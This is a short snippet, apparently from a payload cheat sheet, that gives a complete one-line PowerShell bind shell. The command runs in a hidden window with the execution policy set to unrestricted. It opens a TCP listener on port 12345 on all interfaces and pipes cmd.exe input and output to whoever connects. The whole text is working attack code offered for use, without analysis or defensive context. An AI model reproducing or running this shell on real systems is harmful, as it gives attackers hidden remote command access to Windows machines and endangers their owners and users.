Powershell CLI Bind Shell

powershell.exe -windowstyle hidden -executionpolicy unrestricted -command "function BindShell {$port = '12345';$encoding = new-object System.Text.AsciiEncoding;$endpoint = new-object System.Net.IpEndpoint ([System.Net.Ipaddress]::any, $port);$listener = new-object System.Net.Sockets.TcpListener $endpoint;$listener.start();$socket = $listener.AcceptTcpClient();$networkstream = $socket.GetStream();$networkbuffer = New-Object System.Byte[] $socket.ReceiveBufferSize;$process = New-Object System.Diagnostics.Process ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe';$process.StartInfo.RedirectStandardInput = 1;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0;$process.Start();$inputstream = $process.StandardInput;$outputstream = $process.StandardOutput;Start-Sleep 1;;while($outputstream.Peek() -ne -1){    $string += $encoding.GetString($outputstream.Read());};$networkstream.Write($encoding.GetBytes($string),0,$string.Length);$string = '' ;$done = $false;while (-not $done) {$pos = 0; $i = 1; while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {$read = $networkstream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);$pos+=$read;if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break;}}; if ($pos -gt 0) {$string = $encoding.GetString($networkbuffer,0,$pos);$inputstream.write($string);$out = $encoding.GetString($outputstream.Read());while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read());}$networkstream.Write($encoding.GetBytes($out),0,$out.length);$out = $null;}else {$done = $true}}};bindshell"